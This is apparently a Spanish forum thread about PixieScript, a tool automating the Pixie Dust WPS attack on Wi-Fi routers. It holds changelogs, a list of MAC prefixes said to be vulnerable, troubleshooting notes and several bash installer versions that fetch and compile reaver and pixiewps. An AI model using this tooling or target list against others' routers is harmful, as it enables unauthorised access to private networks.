cd PixieScript_v2.6.3
chmod +x INSTALADOR
./INSTALADOR
ES NECESARIO TENER CONEXION A INTERNET PARA INSTALAR CORRECTAMENTE EL SCRIPT
HISTORIAL DE VERSIONES
2.1
ERRORES SOLVENTADOS :
- Error en la validación de la Mac en el ataque individual que imposibilita usar la opción 3
- Error al tratar con un ESSID que contanga espacios, no debería afecar al ataque pero si al tratamiento de datos posterior.
- Molesta repetición de los datos de la Ap, no afecta al ataque pero no debería salir así.
- Molesto mensaje cuando mato airodump-ng, no afecta al ataque pero no es estético.
- Solventar problemas con los creditos, ya que he obviado sin mala intención a spawn.
MEJORAS:
- Nos marcará en verde el BSSID que se conozca como vulnerable cuando hacemos el scaneo con wash en el ataque completo.
- Añadido script de instalación, al ejecutarlo dará los permisos pertinentes a los archivos y creará un acceso directo en el escritorio.
- Colorines varios
2.2
ERRORES SOLVENTADOS:
- Error a la hora de agregar una mac a la base de datos
- Error si se introduce una mac en blanco
- Admite como buena Mac con más longitud de la debida
MEJORAS:
- Ordena las redes por intensidad de señal.
- Permita elegir que red atacar de la lista.
- Permite atacar todas las redes sin necesidad de intervención.
- Permite modo debug para ver los logs del reaver.
- Permite cambiar la mac de nuestra interface.
- Código de colores en la lista de APs al alcance.
2.3
ERRORES SOLVENTADOS
- Errores varios en el instalador
- Error que afectaba a tarjetas Ralink y no permitia asociarse al AP atacado
- Descuadre en las columnas al mostrar la lista de redes detectadas
2.4
ERRORES SOLVENTADOS
- Error en la visualización de el icono en la carpeta Wireless-Keys del escritorio
- Error a la hora de seleccionar un AP por número
- Problema de eliminación de logs si cerramos la ventana del script
- El script no salia correctamente si no detectaba tarjetas WiFi
- En modo automático si encontraba un Ap locked esperaba intervención del usuario.
2.5
- Script gráfico
- Añadido soporte para actualizar tanto el script como la base de datos de los BSSIDS afectados
- Mejoras varias
2.6
- Añadida compatibilidad con ataque bruteforce a chipsets Realtek.
- Añadidas opciones de control de uso de cpu y proridad de los procesos de bruteforce.
- Añadido opción de recuperar clave WPA en el menú de claves obtenidas.
- Añadido opción de conectarse a un punto de acceso en el menú de claves obtenidas.
- Ahora al actualizar nos respetará la lista propia de bssids vulnerables.
- Arreglado el control de bssids con estado locked.
- Optimizado el script y el instalador para ser compatible con Ubuntu y derivados.
- Ahora las herramientas van en la carpeta del script, y se controla las versiones necesarias de cara a futuros cambios.
- Añadido log del funcionamiento del script de cara a detectar errores que se produzcan (pixiescript.log)
- Mejoras varias en el código.
2.6.1
- Solventado el error que no encontraba redes WPS a la hora de escanear (Todo el merito para USUARIONUEVO )
2.6.2
- Solventado el error que afectaba a encontrar redes WPS en modo live.
- Modificación en reaver que permite recuperar la key WPA aunque el pin no cumpla con la regla checksum.
- Añadida función para evitar que se ejecute el script si anteriormente no hemos ejectudo el instalador.
- Modificación de pixiewps de cara a el funcionamiento interno del script.
- Arreglado el problema de fallar la actualización del script desde el propio script.
2.6.3
- Solventado error cambio de mac manual.
- Arreglado el problema de que al cerrar el script en medio de un ataque quedaban procesos colgados.
- Añadida opción -n a la recuperación de la clave WPA.
- Solventado descordinación del tiempo de ataque después de intentar recuperar la clave WPA.
00:02:6F
00:05:CA
00:0C:F6
00:14:5C
00:19:15
00:1D:D3
00:1D:D4
00:22:75
00:22:F7
00:26:5B
00:4F:81
00:A0:26
08:7A:4C
0C:96:BF
14:CF:E2
18:17:25
20:08:ED
20:73:55
24:09:95
58:1F:28
5C:35:3B
60:E7:01
62:23:3D
62:53:D4
62:55:9C
62:6B:D3
62:7D:5E
62:A8:E4
62:C0:6F
62:CB:A8
68:A0:F6
68:B6:FC
6A:23:3D
6A:3D:FF
6A:96:BF
6A:A8:E4
6A:C0:6F
6A:C6:1F
6A:CB:A8
6A:CD:BE
6C:B0:CE
72:23:3D
72:3D:FF
72:55:9C
72:6B:D3
72:7D:5E
72:C0:6F
72:CB:A8
72:CD:BE
74:DA:38
80:1F:02
8C:09:F4
90:0D:CB
90:1A:CA
90:C7:92
AC:B3:13
B2:46:FC
BC:14:01
C8:D3:A3
D0:7A:B5
DC:53:7C
E8:3E:FC
E8:CD:2D
E8:ED:05
F4:C7:14
F8:1B:FA
F8:63:94
F8:8B:86
F8:C3:46
ANTES DE PLANTEAR UN PROBLEMA CON EL SCRIPT, LEE ESTO
PROBLEMA : Mi RESOLUCION NO ME PERMITE VER CORRECTAMENTE LA INTERFACE
SOLUCION : Abre el programa, despues pincha con boton derecho del raton en la barra superior, mas acciones, preferencias especiales de la aplicacion, tamaño y posicion,y alli marcar la casilla de tamaño y forzar.
PROBLEMA : MENSAJE DE ERROR : sh: /opt/PixieScript/PixieScript.sh: Permiso denegado
SOLUCION : DESDE UNA TERMINAL : chmod +x /opt/PixieScript/PixieScript
PROBEMA : No se han detectado redes con WPS activo
SOLUCION : Instala la versión 2.6.3
PROBEMA : Cuando intenta recuperar una clave WPA se descontrola el tiempo de ataque
SOLUCION : Instala la versión 2.6.3
PROBEMA : Mensaje de formato no válido al cambiar la Mac de forma manual
SOLUCION : Instala la versión 2.6.3
Hola, estoy intentando instalarlo en wifislax tal como lo pones en la pagina pero no me deja instalarlo En 4.10.1, me podias explicar como instalarlo por favor
Nueva mac vulnerable al ataque: B2:46:FC >:(
Te mando un MP, 5.1 ;)
saludos
gracias 5.1 por compartir
yo lo he usado con la antigua
chmod +x PixieScript:sh
./PixieScript.sh
y ha funcionado bien ;Tanbien he prbado la nueva con intalar en live y bien si estas en live no pasa nada cuando vuelvas a iniciar wifislax no deberia guardar datos !que se me corrija si me equivoco pues no lo se; lo saco por logica!
lo que si me pasa es que ha veces captura y otras me sale lo de no se han podido obtener datos ...........pero hablo de la misma red y otras obtine pin y capturas con toda la imformacion
¿a que se debe que lanze y nada vuelvo a lanzar y si funciona?
#!/bin/bash
instalador_version=0.2
clear
# Cd a la ruta del script
# Con esto dara igual si se abrio la terminal en la misma carpeta o en otra ruta
cd $(echo $0 | sed "s/$(basename $0)//g")
# Colores
CIERRE=${CIERRE:-"[0m"}
ROJO=${ROJO:-"[1;31m"}
VERDE=${VERDE:-"[1;32m"}
AMARILLO=${AMARILLO:-"[1;33m"}
CYAN=${CYAN:-"[1;36m"}
# Miramos si estamos en wifislax
if [ -f /etc/wifislax-version ]; then
wifislax="true"
else
wifislax="false"
fi
# Miramos version del script
script_version=`grep -r PixieScript ./PixieScript.sh | cut -d "v" -f2 | cut -d " " -f1`
# Permisos a ejecutables
ruta=`pwd`
chmod 777 $ruta/*/*
#### Instalamos en sistema ####
# Si la ruta existe , hay una version vieja ,por lo que sera eliminada
# Se regenerara la ruta para instalacion limpia
ruta_install=/opt/PixieScript
if [ -d $ruta_install ]; then
rm -rf $ruta_install
mkdir -p $ruta_install
else
mkdir -p $ruta_install
fi
# Copiamos todo a la ruta de sistema
cp -rf $ruta/* $ruta_install
# Copiamos el icono en una ruta estandard
cp -rf $ruta_install/herramientas/icono.png /usr/share/pixmaps/PixieScript.png
# Generamos el fichero desktop
# Si estamos en wifislax , la ruta variara
if [ $wifislax = true ]; then
ruta_desktop=/usr/share/applications/wifislax/Wpa_wps
else
ruta_desktop=/usr/share/applications
fi
# Definimos categoria en la que aparecera el lanzador del menu
if [ $wifislax = true ]; then
Categories="Wpa wps;"
else
Categories="Network;"
fi
# Ahora el fichero
echo "[Desktop Entry]
Categories=$Categories
Comment=by 5.1
Exec=sh -c "$ruta_install/PixieScript.sh';${SHELL:-bash}'"
Icon=PixieScript
Name=PixieScript
Path=$ruta_install
StartupNotify=false
Terminal=true
Type=Application
Version=1.0" > $ruta_desktop/PixieScript.desktop
echo ""
echo "Instalador version ${AMARILLO}$instalador_version${CIERRE}"
echo ""
echo "Permisos concedidos y acceso creado en el menu en la categoria ${VERDE}$Categories${CIERRE}"
echo ""
if [ $wifislax = true ]; then
echo "Detectado sistema ${VERDE}wifislax${CIERRE}... ${AMARILO}¿quieres crear un modulo xzm para usarlo en modo live?${CIERRE}"
echo ""
echo "Pulsa ${ROJO}ENTER${CIERRE} para crear xzm o ${ROJO}CIERRA${CIERRE} el script si no necesitas el modulo xzm"
read
mkdir -p /tmp/PixieScript${ruta_install}
mkdir -p /tmp/PixieScript/usr/share/{pixmaps,applications/wifislax/Wpa_wps}
cp -rf $ruta/* /tmp/PixieScript${ruta_install}
cp -rf $ruta_desktop/PixieScript.desktop /tmp/PixieScript/$ruta_desktop
cp -rf /usr/share/pixmaps/PixieScript.png /tmp/PixieScript/usr/share/pixmaps
# Eliminamos sources
if [ -d /tmp/PixieScript${ruta_install}/herramientas/sources ]; then
rm -rf /tmp/PixieScript${ruta_install}/herramientas/sources
fi
# Estripamos
stripdir /tmp/PixieScript &>/dev/null
# Creamos xzm
dir2xzm /tmp/PixieScript /tmp/PixieScript-$script_version-i486-1sw.xzm
# Limpieza
rm -rf /tmp/PixieScript
# Movemos el xzm a escritorio
mv -f /tmp/PixieScript-$script_version-i486-1sw.xzm $HOME/Desktop/
fi
echo ""
echo "${CYAN}Instalacion completada${CIERRE}"
echo "${AMARILLO}Bye Bye${CIERRE}"
exit 0
Felicidades por el trabajo!
Yo tengo una sugerencia: agregar modo debug. A veces es útil ver lo que está pasando con reaver.
Como idea, puedes hacer uso de xterm para ello.
Salu2
Un saludo a todos
Lo primero,es felicitar al autor por el trabajo realizado.
He hecho el modulo *.xzm para LIVE ,para la gente que no se aclare en hacerlo.
DESCARGA: http://www.mediafire.com/download/l5dxp4w4ccp128a/PixieScript--i486-1sw.xzm
GRACIAS A TODOS POR SEGUIR ESTUDIANDO EN TEMAS DE AUDITORIAS
>:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:( >:(
http://www.redeszone.net/2015/04/09/pixiescript-crack-wps-routers-pixie-dust-attack/ (http://www.redeszone.net/2015/04/09/pixiescript-crack-wps-routers-pixie-dust-attack/)
Nueva mac vulnerable al ataque: B2:46:FC >:(
Te mando un MP, 5.1 ;)
Nueva mac vulnerable al ataque: B2:46:FC >:(
Te mando un MP, 5.1 ;)
No veo esta MAC entre las soportadas :'(
5.1
que tal, ante agradecer el esfuerzo puesto es ésta aplicación, junto a los compis de la web, una duda, donde viste que la MAC C8:D3:A3 soportada supuestamente sea de telecable, esa mac es de ARCADYAN TECHNOLOGIES y te puedo asegurar que telecable no instala nada de ARCADYAN TECHNOLOGIES, el último router que instala es CISCO PEGATRON ECP 3925, te lo digo por experiencia. ;)
38:60:77
E8:40:F2
BC:C8:10
4C:72:B9
70:54:D2
24:76:7D
70-54-D2
7C:05:07
10:5F:49
54:BE:F7
C8:FB:26
0C:54:A5
50:39:55
18:55:0F
08:80:39
60:02:92
20:25:64
D8:97:BA
00:71:C2
Todas estas mac,s son de cisco pegatrón (telecable) y te puedo asegurar que no son vulnerables al ataque.
He consultado el fabricante de C8:D3:A3 y es ARCADYAN TECHNOLOGIES, para mi que se han confundido en darte esa información, date cuenta que éste fabricante también instala routers de vodafone, que curiosamente es mas vulnerable a dicho ataque.
Un saludo desde Asturias ;)
Publicada v2.2
Saludos
Publicada v2.2
Saludos
Esperando module xzm, para live USB, o que lo incluyan en las iso de live usb.
gracias por tu trabajo y esfuerzo. >:(
eso es correcto se instala el modulo en el escritorio pero es IMPORTANTE aclarar q luego de eso vayas a la carpeta: "/opt/PixieScript/" y clic derecho sobre "PixieScript.sh" en la pestaña permisos marcar "es ejecutable" y aceptar. Asi fue como solucione el fallo q me daba sobre los permisos cuando lo ejecutaba habiendo creado el modulo. Me funciono a la perfeccion lastima q no tenia ningun wps compatible para este ataque pero ese es otro cantar. saludosPublicada v2.2
Saludos
Esperando module xzm, para live USB, o que lo incluyan en las iso de live usb.
gracias por tu trabajo y esfuerzo. >:(
Leete bien el post principal.....
1/ Lo descargas
2 Lo descomprimes
3/ Abres una terminal
4/ te situas donde hayas descomprimido PixieScript
4/ chmod +x Dependencias
5/ ./Dependencias
Empezará a hacer la instalación, y cuando acaba te dice
"PULSA ENTER PARA CREAR UN MODULO o cierra la terminal si no lo necesitas"
Pues le das enter y te creará el solito el modulo que reclamas en el escritorio
Fácil y para toda la familía >:D
cuando ya aparece el instalador
rm: no se puede borrar «/opt/Wireless-Keys/PixieScript»: No existe el fichero o el directorio
igual no es buena idea eliminar esa carpeta , aunque exista ... puedes tener hay guardadas tus keys.
PD2: El xzm , no incluye los ejecutables de las dependencias ... con lo que no funcionara en mode live, puesto que no tienen pixie_reaver
PD3: La carpeta de keys , no muestra el icono , por que se guarda con la ruta donde estaba originalmente el icono .. deberia guardar , /opt/....... en donde seguro el icono va a estar SIEMPRE.
Icon=/root/Desktop/PixieScript_v2.2/ICONO/keys.png
Icon=/opt/PixieScript/ICONO/keys.png
eso es correcto se instala el modulo en el escritorio pero es IMPORTANTE aclarar q luego de eso vayas a la carpeta: "/opt/PixieScript/" y clic derecho sobre "PixieScript.sh" en la pestaña permisos marcar "es ejecutable" y aceptar. Asi fue como solucione el fallo q me daba sobre los permisos cuando lo ejecutaba habiendo creado el modulo. Me funciono a la perfeccion lastima q no tenia ningun wps compatible para este ataque pero ese es otro cantar. saludosPublicada v2.2
Saludos
Esperando module xzm, para live USB, o que lo incluyan en las iso de live usb.
gracias por tu trabajo y esfuerzo. >:(
Leete bien el post principal.....
1/ Lo descargas
2 Lo descomprimes
3/ Abres una terminal
4/ te situas donde hayas descomprimido PixieScript
4/ chmod +x Dependencias
5/ ./Dependencias
Empezará a hacer la instalación, y cuando acaba te dice
"PULSA ENTER PARA CREAR UN MODULO o cierra la terminal si no lo necesitas"
Pues le das enter y te creará el solito el modulo que reclamas en el escritorio
Fácil y para toda la familía >:D
PUFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
Acabo de eliminar el archivo de mega... cuando arregle todos esos problemas lo vuelvo a subir.... vaya tela la que he liado jajajajaja
Bueno, miro bien como solucionar todo eso y antes de volverlo a subir te lo comento a ver que te parece
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
lo hice con la ultima version v2.2 la q baje hoy tuve q darle los permisos manualmente. saludoscuando ya aparece el instalador
rm: no se puede borrar «/opt/Wireless-Keys/PixieScript»: No existe el fichero o el directorio
igual no es buena idea eliminar esa carpeta , aunque exista ... puedes tener hay guardadas tus keys.
PD2: El xzm , no incluye los ejecutables de las dependencias ... con lo que no funcionara en mode live, puesto que no tienen pixie_reaver
PD3: La carpeta de keys , no muestra el icono , por que se guarda con la ruta donde estaba originalmente el icono .. deberia guardar , /opt/....... en donde seguro el icono va a estar SIEMPRE.
Icon=/root/Desktop/PixieScript_v2.2/ICONO/keys.png
Icon=/opt/PixieScript/ICONO/keys.png
Joder pués me he lucido retocando el instalador que hiciste jejejeje.... vaya tela!!!!
Si tienes un rato y te apetece , tú que tienes más por la mano la estructura de la distro cambia lo que haga falta, de todas maneras yo intentare solucionar esos problemas que tiene el instalador....
Graciaseso es correcto se instala el modulo en el escritorio pero es IMPORTANTE aclarar q luego de eso vayas a la carpeta: "/opt/PixieScript/" y clic derecho sobre "PixieScript.sh" en la pestaña permisos marcar "es ejecutable" y aceptar. Asi fue como solucione el fallo q me daba sobre los permisos cuando lo ejecutaba habiendo creado el modulo. Me funciono a la perfeccion lastima q no tenia ningun wps compatible para este ataque pero ese es otro cantar. saludosPublicada v2.2
Saludos
Esperando module xzm, para live USB, o que lo incluyan en las iso de live usb.
gracias por tu trabajo y esfuerzo. >:(
Leete bien el post principal.....
1/ Lo descargas
2 Lo descomprimes
3/ Abres una terminal
4/ te situas donde hayas descomprimido PixieScript
4/ chmod +x Dependencias
5/ ./Dependencias
Empezará a hacer la instalación, y cuando acaba te dice
"PULSA ENTER PARA CREAR UN MODULO o cierra la terminal si no lo necesitas"
Pues le das enter y te creará el solito el modulo que reclamas en el escritorio
Fácil y para toda la familía >:D
Eso con que versión lo hacias? Por que con la v2.2 en teoría es el propio instalador que da los permisos, por lo que no debería hacer falta hacer el chmod en /opt/Pixiscript
# Comprobar conexion by geminis_demon
if [ ! "$(ping google.com -c1 2>/dev/null)" ]; then
echo "No tengo internet ... el script se cerrara."
echo ""
sleep 1
exit 0
fi
#!/bin/bash
instalador_version=0.4
# Colores
CIERRE=${CIERRE:-"[0m"}
ROJO=${ROJO:-"[1;31m"}
VERDE=${VERDE:-"[1;32m"}
AMARILLO=${AMARILLO:-"[1;33m"}
CYAN=${CYAN:-"[1;36m"}
clear
# COMPROBAR ACCESO A INTERNET POR GEMINIS DEMON
if [ ! "$(ping google.com -c1 2>/dev/null)" ]; then
echo "PARA PODER INSTALAR ESTA APLICACION ES NECESARIO DISPONER DE CONEXION A INTERNET"
echo ""
sleep 1
exit 0
fi
# DESCARGAMOS REAVER
echo "DESCARGANDO REAVER"
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
echo ""
echo "DESCARGANDO PIXIEWPS 1.0"
wget https://github.com/wiire/pixiewps/archive/master.zip
echo ""
echo "DESCOMPRIMIENDO PIXIEWPS"
unzip master.zip
echo ""
echo "APLICANDO PARCHE REAVER"
cd reaver-wps-read-only/
patch -Np1 -i ../Parche_Reaver_5.1MOD.patch
echo ""
echo "COMPILANDO REAVER"
cd src
./configure || exit 1
make || exit 1
cp -rf reaver /usr/local/bin/reaver_pixie
cd ..
cd ..
rm -rf reaver-wps-read-only/
echo ""
echo "INSTALANDO PIXIEWPS"
cd pixiewps-master
cd src
make || exit 1
cp -rf pixiewps /usr/local/bin/pixiewps
cd ..
cd ..
rm master.zip
rm -rf pixiewps-master
######################################################################################
#### HASTA AQUI DESCARGA E INSTALACION DE DEPENDENCIAS, AHORA EL PROPIO PIXIESCRIPT ##
######################################################################################
# Cd a la ruta del script
# Con esto dara igual si se abrio la terminal en la misma carpeta o en otra ruta
cd $(echo $0 | sed "s/$(basename $0)//g")
# Miramos si estamos en wifislax
if [ -f /etc/wifislax-version ]; then
wifislax="true"
else
wifislax="false"
fi
# Miramos version del script
script_version=`head -3 PixieScript.sh | tail -1 | awk -F"\"" {'print $2'}`
# Permisos a ejecutables
ruta=`pwd`
chmod 777 $ruta/*/*
#### Instalamos en sistema ####
# Si la ruta existe , hay una version vieja ,por lo que sera eliminada
# Se regenerara la ruta para instalacion limpia
ruta_install=/opt/PixieScript
if [ -d $ruta_install ]; then
rm -rf $ruta_install
mkdir -p $ruta_install
else
mkdir -p $ruta_install
fi
# Copiamos todo a la ruta de sistema
cp -rf $ruta/* $ruta_install
# Copiamos el icono en una ruta estandard
cp -rf $ruta_install/ICONO/icono.png /usr/share/pixmaps/PixieScript.png
cp -rf $ruta_install/ICONO/keys.png /usr/share/pixmaps/PixieKeys.png
# Generamos el fichero desktop
# Si estamos en wifislax , la ruta variara
if [ $wifislax = true ]; then
ruta_desktop=/usr/share/applications/wifislax/Wpa_wps
#### Generamos el acceso directo a la carpeta Keys
ln -s $ruta_install/PIXIESCRIPT_KEYS /opt/Wireless-Keys/PixieScript
else
ruta_desktop=/usr/share/applications
ln -s $ruta_install/PIXIESCRIPT_KEYS $HOME/PixieScript_Keys
fi
# Definimos categoria en la que aparecera el lanzador del menu
if [ $wifislax = true ]; then
Categories="Wpa wps;"
else
Categories="Network;"
fi
# Ahora el fichero
echo "[Desktop Entry]
Categories=$Categories
Comment=by 5.1
Exec=sh -c "$ruta_install/PixieScript.sh';${SHELL:-bash}'"
Icon=PixieScript
Name=PixieScript
Path=$ruta_install
StartupNotify=false
Terminal=true
Type=Application
Version=1.0" > $ruta_desktop/PixieScript.desktop
echo ""
echo "Instalador version ${AMARILLO}$instalador_version${CIERRE}"
echo ""
echo "Permisos concedidos y acceso creado en el menu en la categoria ${VERDE}$Categories${CIERRE}"
echo ""
if [ $wifislax = true ]; then
echo "Detectado sistema ${VERDE}wifislax${CIERRE}... ${AMARILO}¿quieres crear un modulo xzm para usarlo en modo live?${CIERRE}"
echo ""
echo "Pulsa ${ROJO}ENTER${CIERRE} para crear xzm o ${ROJO}CIERRA${CIERRE} el script si no necesitas el modulo xzm"
read
mkdir -p /tmp/PixieScript${ruta_install}
mkdir -p /tmp/PixieScript/usr/share/{pixmaps,applications/wifislax/Wpa_wps}
cp -rf $ruta/* /tmp/PixieScript${ruta_install}
cp -rf $ruta_desktop/PixieScript.desktop /tmp/PixieScript/$ruta_desktop
cp -rf /usr/share/pixmaps/PixieScript.png /tmp/PixieScript/usr/share/pixmaps
##########################################################################################################
mkdir -p /tmp/PixieScript/opt/Wireless-Keys/
mkdir -p /tmp/PixieScript/usr/local/bin
ln -s $ruta_install/PIXIESCRIPT_KEYS /tmp/PixieScript/opt/Wireless-Keys/
mv /tmp/PixieScript/opt/Wireless-Keys/PIXIESCRIPT_KEYS /tmp/PixieScript/opt/Wireless-Keys/PixieScript
cp -rf /usr/local/bin/pixiewps /tmp/PixieScript/usr/local/bin/pixiewps
cp -rf /usr/local/bin/reaver_pixie /tmp/PixieScript/usr/local/bin/reaver_pixie
cp -rf /usr/share/pixmaps/PixieKeys.png /tmp/PixieScript/usr/share/pixmaps
##########################################################################################################
# Estripamos
stripdir /tmp/PixieScript &>/dev/null
# Creamos xzm
dir2xzm /tmp/PixieScript /tmp/PixieScript-$script_version-i486-1sw.xzm
# Limpieza
rm -rf /tmp/PixieScript
# Movemos el xzm a escritorio
mv -f /tmp/PixieScript-$script_version-i486-1sw.xzm $HOME/Desktop/
fi
echo ""
echo "${CYAN}Instalacion completada${CIERRE}"
echo "${AMARILLO}Bye Bye${CIERRE}"
exit 0
#!/bin/bash
instalador_version=0.5
# Colores
CIERRE=${CIERRE:-"[0m"}
ROJO=${ROJO:-"[1;31m"}
VERDE=${VERDE:-"[1;32m"}
AMARILLO=${AMARILLO:-"[1;33m"}
CYAN=${CYAN:-"[1;36m"}
clear
Internet(){
# COMPROBAR ACCESO A INTERNET POR GEMINIS DEMON
if [ ! "$(ping google.com -c1 2>/dev/null)" ]; then
echo "PARA PODER INSTALAR ESTA APLICACION ES NECESARIO DISPONER DE CONEXION A INTERNET"
echo ""
sleep 1
exit 0
fi
}
# Si el sistema no tiene reaver_pixie se baja ,parchea compila e instala
dependencia_reaver_pixie(){
echo "DESCARGANDO REAVER"
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only
echo ""
echo "APLICANDO PARCHE REAVER"
cd reaver-wps-read-only/
patch -Np1 -i ../Parche_Reaver_5.1MOD.patch
echo ""
echo "COMPILANDO REAVER"
cd src
./configure || exit 1
make || exit 1
cp -rf reaver /usr/bin/reaver_pixie
cd ..
cd ..
rm -rf reaver-wps-read-only/
}
if ! hash reaver_pixie &>/dev/null ; then
echo "$ROJO"
echo "Dependencia reaver_pixie NO se cumple ... solucionando."
echo "$CIERRE"
Internet
dependencia_reaver_pixie
copiar_reaver_pixie=si
else
echo "$VERDE"
echo "Dependencia reaver_pixie se cumple ... continuamos."
echo "$CIERRE"
copiar_reaver_pixie=no
sleep 1
fi
# Si el sistema no tiene pixiewps se baja, compila e instala
dependencia_pixiewps(){
echo ""
echo "DESCARGANDO PIXIEWPS 1.0"
wget https://github.com/wiire/pixiewps/archive/master.zip
echo ""
echo "DESCOMPRIMIENDO PIXIEWPS"
unzip master.zip
echo ""
echo "INSTALANDO PIXIEWPS"
cd pixiewps-master
cd src
make || exit 1
cp -rf pixiewps /usr/bin/pixiewps
cd ..
cd ..
rm master.zip
rm -rf pixiewps-master
}
if ! hash pixiewps &>/dev/null ; then
echo "$ROJO"
echo "Dependencia pixiewps NO se cumple ... solucionando."
echo "$CIERRE"
Internet
dependencia_pixiewps
copiar_pixiewps=si
else
echo "$VERDE"
echo "Dependencia pixiewps se cumple ... continuamos."
echo "$CIERRE"
copiar_pixiewps=no
sleep 1
fi
######################################################################################
#### HASTA AQUI DESCARGA E INSTALACION DE DEPENDENCIAS, AHORA EL PROPIO PIXIESCRIPT ##
######################################################################################
# Cd a la ruta del script
# Con esto dara igual si se abrio la terminal en la misma carpeta o en otra ruta
cd $(echo $0 | sed "s/$(basename $0)//g")
# Miramos si estamos en wifislax
if [ -f /etc/wifislax-version ]; then
wifislax="true"
else
wifislax="false"
fi
# Miramos version del script
script_version=`head -3 PixieScript.sh | tail -1 | awk -F"\"" {'print $2'}`
# Permisos a ejecutables
ruta=`pwd`
chmod 777 $ruta/*/*
#### Instalamos en sistema ####
# Si la ruta existe , hay una version vieja ,por lo que sera eliminada
# Se regenerara la ruta para instalacion limpia
ruta_install=/opt/PixieScript
if [ -d $ruta_install ]; then
rm -rf $ruta_install
mkdir -p $ruta_install
else
mkdir -p $ruta_install
fi
# Copiamos todo a la ruta de sistema
cp -rf $ruta/* $ruta_install
# Copiamos el icono en una ruta estandard
cp -rf $ruta_install/ICONO/icono.png /usr/share/pixmaps/PixieScript.png
cp -rf $ruta_install/ICONO/keys.png /usr/share/pixmaps/PixieKeys.png
# Generamos el fichero desktop
# Si estamos en wifislax , la ruta variara
if [ $wifislax = true ]; then
ruta_desktop=/usr/share/applications/wifislax/Wpa_wps
#### Generamos el acceso directo a la carpeta Keys
ln -s $ruta_install/PIXIESCRIPT_KEYS /opt/Wireless-Keys/PixieScript
else
ruta_desktop=/usr/share/applications
ln -s $ruta_install/PIXIESCRIPT_KEYS $HOME/PixieScript_Keys
fi
# Definimos categoria en la que aparecera el lanzador del menu
if [ $wifislax = true ]; then
Categories="Wpa wps;"
else
Categories="Network;"
fi
# Ahora el fichero
echo "[Desktop Entry]
Categories=$Categories
Comment=by 5.1
Exec=sh -c "$ruta_install/PixieScript.sh';${SHELL:-bash}'"
Icon=PixieScript
Name=PixieScript
Path=$ruta_install
StartupNotify=false
Terminal=true
Type=Application
Version=1.0" > $ruta_desktop/PixieScript.desktop
# El acceso direcot a keys
echo "[Desktop Entry]
Name=PixieKeys
Comment=Keys de PixieScript
Type=Link
URL=/opt/PixieScript/PIXIESCRIPT_KEYS
Icon=PixieKeys" > /opt/Wireless-Keys/PixieScript_Keys
echo ""
echo "Instalador version ${AMARILLO}$instalador_version${CIERRE}"
echo ""
echo "Permisos concedidos y acceso creado en el menu en la categoria ${VERDE}$Categories${CIERRE}"
echo ""
if [ $wifislax = true ]; then
echo "Detectado sistema ${VERDE}wifislax${CIERRE}... ${AMARILO}¿quieres crear un modulo xzm para usarlo en modo live?${CIERRE}"
echo ""
echo "Pulsa ${ROJO}ENTER${CIERRE} para crear xzm o ${ROJO}CIERRA${CIERRE} el script si no necesitas el modulo xzm"
read
mkdir -p /tmp/PixieScript${ruta_install}
mkdir -p /tmp/PixieScript/usr/share/{pixmaps,applications/wifislax/Wpa_wps}
cp -rf $ruta/* /tmp/PixieScript${ruta_install}
cp -rf $ruta_desktop/PixieScript.desktop /tmp/PixieScript/$ruta_desktop
cp -rf /usr/share/pixmaps/PixieScript.png /tmp/PixieScript/usr/share/pixmaps
##########################################################################################################
mkdir -p /tmp/PixieScript/opt/Wireless-Keys/
mkdir -p /tmp/PixieScript/usr/local/bin
#ln -s $ruta_install/PIXIESCRIPT_KEYS /tmp/PixieScript/opt/Wireless-Keys/
#mv /tmp/PixieScript/opt/Wireless-Keys/PIXIESCRIPT_KEYS /tmp/PixieScript/opt/Wireless-Keys/PixieScript
cp -rf /usr/local/bin/pixiewps /tmp/PixieScript/usr/local/bin/pixiewps
cp -rf /usr/local/bin/reaver_pixie /tmp/PixieScript/usr/local/bin/reaver_pixie
cp -rf /usr/share/pixmaps/PixieKeys.png /tmp/PixieScript/usr/share/pixmaps
cp -rf /opt/Wireless-Keys/PixieKeys /tmp/PixieScript/opt/Wireless-Keys/
##########################################################################################################
# Estripamos
stripdir /tmp/PixieScript &>/dev/null
# Creamos xzm
dir2xzm /tmp/PixieScript /tmp/PixieScript-$script_version-i486-1sw.xzm
# Limpieza
rm -rf /tmp/PixieScript
# Movemos el xzm a escritorio
mv -f /tmp/PixieScript-$script_version-i486-1sw.xzm $HOME/Desktop/
fi
echo ""
echo "${CYAN}Instalacion completada${CIERRE}"
echo "${AMARILLO}Bye Bye${CIERRE}"
exit 0
ains ..... que estaba yo tocando aun ..
el fichero .directory que muestra el icono de keys, es mejor generarlo ...
ademas mira que puse unas variables "si" ,o "no" , en las dependencias ...
es para que al crear el xzm , si es no ...el sistema no las tenia, asi que deben entrar al xzm ...
########################################################
## Variable que copiara los binarios que no tengamos ##
########################################################
if [ $copiar_pixiewps = si ]; then
mkdir -p /tmp/PixieScript/usr/bin
cp -rf /usr/bin/pixiewps /tmp/PixieScript/usr/bin/pixiewps
fi
if [ $copiar_reaver_pixie= si ]; then
mkdir -p /tmp/PixieScript/usr/bin
cp -rf /usr/bin/reaver_pixie /tmp/PixieScript/usr/bin/reaver_pixie
fi
Espera espera, que por ejemplo ya no utilizo el tshark...
Dame un minuto y te paso la version para que veas la estructura y todo lo que necesitas
Y no, al menos yo no tengo prisa...
find . -name "*.png"
Ale, lo tienes por MP
Cualquier duda ves preguntando, y cuando te quieras ir a dormir avisa eh ;D
# Buscamos los iconos y los movemos
buscar_iconos=`find . -name "*.png"`
for x in $buscar_iconos; do
cp -rf $x /tmp
done
if [ -f /tmp/icono.png ]; then
mv -rf /tmp/icono.png /usr/share/pixmaps/PixieScript.png
fi
if [ -f /tmp/keys.png ]; then
mv -rf /tmp/keys.png /usr/share/pixmaps/PixieKeys.png
fi
ifconfig INTERFACE_REAL up
Hola a todos, he hecho todos los procesos y no me detecta ninguna red, ni vulnerables ni no vulnerables, probado con 2 tarjetas, una tp-link y una BC, es raro, seguiré testeando.
Un saludo desde Asturias
puede que tengas restos de algún intento anterior ?¿
lo probe anoche y salio perfect , se veía iconos y todo.
incluso use el xzm en live y todo bien.
prueba en live , por que va a ser algún resto de un intento anterior,.
de hecho estaba mal , y lo arregle lo ultimo.
el icono se ve, cuando el png ya esta en su sitio , antes no.
ifconfig $INTERFAZ up
